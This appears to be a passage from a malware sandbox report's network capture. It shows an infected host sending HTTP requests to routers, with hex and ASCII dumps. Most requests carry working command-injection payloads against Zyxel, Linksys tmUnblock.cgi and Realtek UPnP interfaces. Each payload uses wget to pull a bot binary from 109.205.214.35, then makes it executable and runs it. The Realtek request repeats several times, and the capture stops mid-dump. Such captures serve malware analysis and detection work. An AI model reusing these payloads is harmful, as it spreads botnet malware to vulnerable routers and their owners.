remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:38.375438929 CET	1286	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html last-modified: Fri, 21 Jan 2022 00:32:37 GMT etag: "999-61e9ff25-cd88ea3f64d127dc;gz" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding content-length: 1159 date: Thu, 21 Mar 2024 04:22:47 GMT server: LiteSpeed platform: hostinger Data Raw: 1f 8b 08 00 00 00 00 00 00 03 85 56 6d 8f db 36 0c fe 9e 5f a1 ba 1f 92 6c b6 e5 dc f5 35 b1 b3 f5 75 18 b0 f5 06 f4 0a 74 b8 1d 06 46 62 6c f6 64 c9 95 94 4b b2 5e ff fb 20 3b 6f f7 92 cd 80 62 8b 7c 48 51 0f 45 2a f9 a3 b7 67 6f ce ff fc e3 1d ab 7c ad a6 bd 3c bc 98 02 5d 16 11 ea 64 e1 22 d6 58 9c d3 aa 88 84 d1 1e b5 1f b3 ca fb 66 cc 79 b3 b0 2a 35 b6 e4 d6 39 3e 4a 33 5e 1b b9 50 e8 f8 06 c8 99 14 f7 c1 52 70 8f b6 76 9c cd 0d cc 77 fa 55 ad b4 4b 85 a9 79 10 f3 2c 1d 71 66 ca 9d da 94 4d 5a 23 d7 ee 31 b3 72 ee 76 f2 e5 72 99 2e 4f 5b c7 27 59 96 f1 6c c4 ad 9c 27 4e 54 58 c3 63 e6 c8 ec 43 08 86 2d 32 48 5b 57 e1 c3 1f d1 fb 75 83 01 72 65 8e ad f6 84 67 27 3c e8 b9 30 16 1f b3 95 93 47 90 23 fe f9 f7 df 3e 76 31 45 d3 5e 2f af 10 e4 b4 c7 18 63 79 8d 1e 5a ab 04 bf 2e e8 ba 88 de 74 ec 25 e7 eb 06 23 b6 e1 b2 88 3c ae 3c 0f c9 99 30 51 81 75 e8 8b 4f e7 ef 93 17 d1 c6 8f f3 6b 85 2c 44 bd c1 0a e7 36 ba f0 fc bc 31 62 51 67 35 d9 69 2e 74 f9 d7 58 28 03 57 97 f1 a1 30 b9 27 93 e0 21 79 48 b1 7a 48 9a 6e 65 07 a2 3d f0 36 ae 22 89 63 6d fc 60 3b 49 40 53 0d 1e 87 ec db 0e 18 1e 49 ae 51 b0 1e 33 6d 34 b2 47 54 37 c6 7a d0 7e bf 9d ef bd dd 67 d8 d8 dc d8 fa 98 8f 99 32 e2 ea 41 cb 10 c6 26 82 c4 55 74 d7 c3 35 39 9a 91 22 bf 1e b3 8a a4 44 fd 1f 5e 44 65 ec 1d fb c6 38 f2 64 f4 98 c1 cc 19 b5 f0 78 68 df a6 93 b7 f9 3c 76 46 3e 27 9f 5e 25 6f 4c dd 80 a7 99 3a 3c 26 bf be 2b 50 96 18 1d 5a 6a a8 b1 88 ae 09 97 81 ad 03 f0 92 a4 af 0a 89 d7 24 30 69 27 31 23 4d 9e 40 25 4e 80 c2 62 b4 75 e4 c9 2b 9c 9e 99 c6 c5 cc 99 1a 7d 45 ba 64 ca 38 9f f3 4e 77 6f 41 89 4e 58 6a c2 46 0f d6 ec 5c 28 63 ae 1c 53 74 85 cc 57 c8 1a 28 91 91 6b fd a5 ec a3 07 eb d9 da 2c 2c 5b e2 cc 91 47 66 74 8b 13 15 42 93 6e 63 52 a4 af 58 8d 92 a0 88 40 a9 88 59 54 45 d4 12 e7 2a 44 1f b1 ca e2 bc 88 78 e5 a5 11 ee 6f b4 d6 d8 8e d8 74 5f 1d 9d 9b 23 a6 81 74 37 e6 bc 86 95 90 3a 9d 19 e3 9d b7 d0 84 49 68 56 3b 01 3f 4d 4f d3 e7 a1 e8 f6 b2 b4 26 7d 6f a1 db 7e e7 46 7b 97 96 c6 94 0a a1 a1 ae 03 0a e7 7e 9a 43 4d 6a 5d 9c 35 a8 7f fc 08 da 8d 4f b3 2c 3e cd 32 8a 9f 64 59 18 14 3f cb b2 30 28 7e 9e 65 61 50 fc 22 cb c2 a0 fb 4c 4c 7b 9b 2e d1 66 64 df 16 06 f3 85 16 21 43 03 8a 5d 6c e2 32 b6 31 c4 f5 f0 1b 5d f4 7f 69 a3 7a a5 41 ad 3d 09 77 36 fb 82 c2 f7 2f 0b 3b a1 0b 7b 59 84 9f 9b 9b 9d fd f0 f6 11 6f 9d 07 48 fa b5 e8 5e 37 37 17 97 c3 b4 59 b8 6a 00 b6 5c d4 a8 bd 1b 7e 8f 5b a5 2a 46 3f 68 5c b2 b7 e0 71 30 9c 40 e1 52 61 11 3c be 53 18 80 03 33 8c 6f b9 af 0b 97 96 e8 37 6a f7 7a 7d 0e e5 07 a8 71 60 86 17 d9 e5 04 52 70 6b 2d 8a d1 04 52 67 45 51 4e ea b4 01 8b da 7f 30 12 53 d2 0e ad 7f 8d 73 63 71 10 b6 bb af be e1 60 49 5a 9a 65 2c 8d 68 63 8c fb 1d 67 fd b8 bf 4d 5a 68 ee 5d ca 12 d8 b2 Data Ascii: Vm6_l5utFbldK^ ;ob\|HQEgo\|<]d"Xfy59>J3^PRpvwUKy,qfMZ#1rvr.O['Yl'NTXcC-2H[Wureg'<0G#>v1E^/cyZ.t%#<<0QuOk,D61bQg5i.tX(W0'!yHzHne=6"cm`;I@SIQ3m4GT7z~g2A&Ut59"D^De8dxh<vF>'^%oL:<&+PZj$0i'1#M@%Nbu+}Ed8NwoANXjF\(cStW(k,,[GftBncRX@YTEDxot_#t7:IhV;?MO&}o~F{~CMj]5O,>2dY?0(~eaP"LL{.fd!C]l21]izA=w6/;{YoH^77Yj\~[F?h\q0@Ra<S3o7jz}q`Rpk-RgEQN0Sscq`IZe,hcgMZh]
Mar 21, 2024 05:22:38.375452042 CET	260	IN	Data Raw: d3 26 6e 3f fb e2 fa 71 bf 84 fe 70 b2 6f 07 25 0c fa dd ae fa 31 eb 7f 7a 95 9c 3c 7b fa fc e9 cb 17 2f 93 27 cf 82 04 16 de 04 83 43 bc 43 2d 83 2e 14 48 28 e0 9d c3 9c 6f 53 99 f3 ee 36 e9 e5 33 23 d7 db 44 4b ba 66 42 81 73 45 d4 1e fb 88 91 Data Ascii: &n?qpo%1z<{/'CC-.H(oS63#DKfBsE~NoQyU.!jje4.Y{6me4$b%m I[.X]Mao1BK6Nbpk&h,yE.,gP>f_3 XxF-3d44<rI{fMr
Mar 21, 2024 05:22:38.376192093 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Thu, 21 Mar 2024 04:22:47 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.13	37642	79.132.239.43	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:34.865875959 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:35.038160086 CET	1194	IN	HTTP/1.1 307 Temporary Redirect Date: Thu, 21 Mar 2024 04:22:34 GMT Content-Type: text/html Content-Length: 152 Connection: close Location: https://127.0.0.1:8080/tmUnblock.cgi X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self' X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self' X-Webkit-CSP: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self' Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body bgcolor="white"><center><h1>307 Temporary Redirect</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.13	51716	5.22.38.152	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.339567900 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:38.512976885 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:44.652246952 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:56.685590982 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 